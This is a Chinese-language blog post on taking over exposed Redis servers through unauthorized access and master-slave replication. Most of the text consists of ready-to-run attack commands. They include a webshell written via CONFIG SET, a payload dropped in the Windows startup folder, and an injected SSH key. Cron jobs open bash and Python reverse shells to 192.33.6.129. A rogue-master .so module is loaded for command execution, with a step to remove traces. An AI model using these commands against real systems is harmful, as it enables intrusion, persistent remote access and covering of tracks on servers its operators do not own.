Redis主从复制

Redis主从复制

未授权访问

版本3.2之前都是绑定0.0.0.0:6379所以暴露在公网

3.2之后绑定127.0.0.1相对安全,但是还是无密码可以利用ssrf进行利用(gopher,dict)

利用

注意flushall危险操作,会清空所有缓存数据。

通用

  • 写入webshell

    flushall
    set x ''
    config set dir /var/www/html/upload
    config set dbfilename test.php
    save
    

windows

  • 写入自启动文件

    # win10系统管理员自启动目录
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
    # win7、win10等系统普通用户下自启动目录
    # user:Administrator
    C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    
    
    flushall
    
    set x ''
    
    config set dir 'C:\Users\root\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'
    
    config set dbfilename exp.hta
    
    save
    

linux

  • 写入SSH公钥免密登录
ssh-keygen -t rsa#生成恶意公钥
#写入
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHStzQa4aESwm/Rm/caKPQAblnb6OBCpxpCeahB2WKwnwoT6DuZ1ypzgYTjMEP6BOhySnSatDpdn7wZKUL7ZEaJdSAd0qD/QaHHLFMYvNXrGJQC+9JBvt5X5iUJOx5Ukdu36YXxRib4cw2qhDLnKa2Q96pEInVJcZ02VNxHTvAE+vjhCTQSYPJahin/s/a+IYEcjqyvkiuWVDWg2GMViMwq5Yh/ELZG2KAXNpSNx1TjklXYQVPO2dmPCdUYyy1r+WxEjWLJZPPWQntQc6KiqHmkEGBXGB4fVxScCVR8y2/DEzEqsQcveFWw7mhqfp9kNHP+AOv0wFwL9G8/glZEnGB root@rose\n\n"
save
  • 写入定时任务反弹Shell

    # bash反弹
    config set dir /var/spool/cron/
    config set dbfilename root
    set x '\n\n*/1 * * * * bash -i >& /dev/tcp/192.33.6.129/9999 0>&1\n\n'
    save
    
    config set dir /var/spool/cron/
    config set dbfilename root
    set x '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.33.6.129/9999 0>&1\n\n'
    save
    
    # python反弹
    config set dir /var/spool/cron/
    config set dbfilename root
    set x "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.33.6.129\",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"
    save
    

什么是主从复制

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave),数据的复制是单向的,只能由主节点到从节点。

默认情况下,每台Redis服务器都是主节点;且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点

简单来说,主从关系中的两大角色master(主) 和 slave(从) ,为了达到读写分离,规定在主服务器中写(同时同步到从数据库),在从服务器中读。算是一种通过牺牲空间来换取效率的缓解方式。

为什么要用主从复制?

要实现分布式数据库的更大的存储容量和承受高并发访问量,将原来集中式数据库的数据分别存储到其他多个网络节点上。

简单实现

 主 192.168.159.129   安装redis-server和redis-cli并启动
 从 192.168.159.132   安装redis-server并启动

在主redis上执行

redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> slaveof no one
OK
127.0.0.1:6379> set lyy 1
OK
127.0.0.1:6379> get lyy
"1"
127.0.0.1:6379> exit
redis-cli -h 192.168.159.132
192.168.159.132:6379> slaveof 192.168.159.129 6379
OK
192.168.159.132:6379> get lyy
"1"

slaveof命令:设置主从关系,形式为slaveof ip port,其中slaveof no one表示不从属其他机器

注意如果是新版本需要更改配置

protected-mode no

getshell

主从复制getshell的原理就是在redis 4.x-5.x版本中,允许从外部加载.so文件并且将这个文件中代码变成redis功能的一部分,从而实现功能扩展。

可以利用这个功能通过编译恶意的.so文件,并将该文件同步到从属redis上,进行加载,即可实现恶意代码的功能

1.第一步通过未授权或者已知密码去连接服务端redis,建立和自己攻击机的从属关系

我们刚刚在上一步已经实现

2.恶意的so文件使用Dliv3师傅已经编译好的

https://github.com/Dliv3/redis-rogue-server

运行python脚本即可成功利用

python3 redis-rogue-server.py --rhost 192.168.159.132  --rport 6379 --lhost 192.168.159.129 --lport 6379

原理

  1. 自己搭建redis数据库,然后受害者将自己的数据库设置为主节点。

    slaveof x.x.x.x  xx
    
  2. 设置备份文件名为恶意so文件

    set dir ./
    set dbfilename exp.sp
    
  3. 加载恶意so文件,实现任意命令执行

    module load ./exp.so
    
  4. 执行命令

    system.exec 'whoami'
    
  5. 清理痕迹

    config set dbfilename dump.rdb#redis快照文件
    system.exec 'rm ./exp.so'
    module unload system
    

优势

redis服务器中不包括除redis服务以外的任何服务时也可以利用,且更加便捷

你可能感兴趣的:(安全,redis)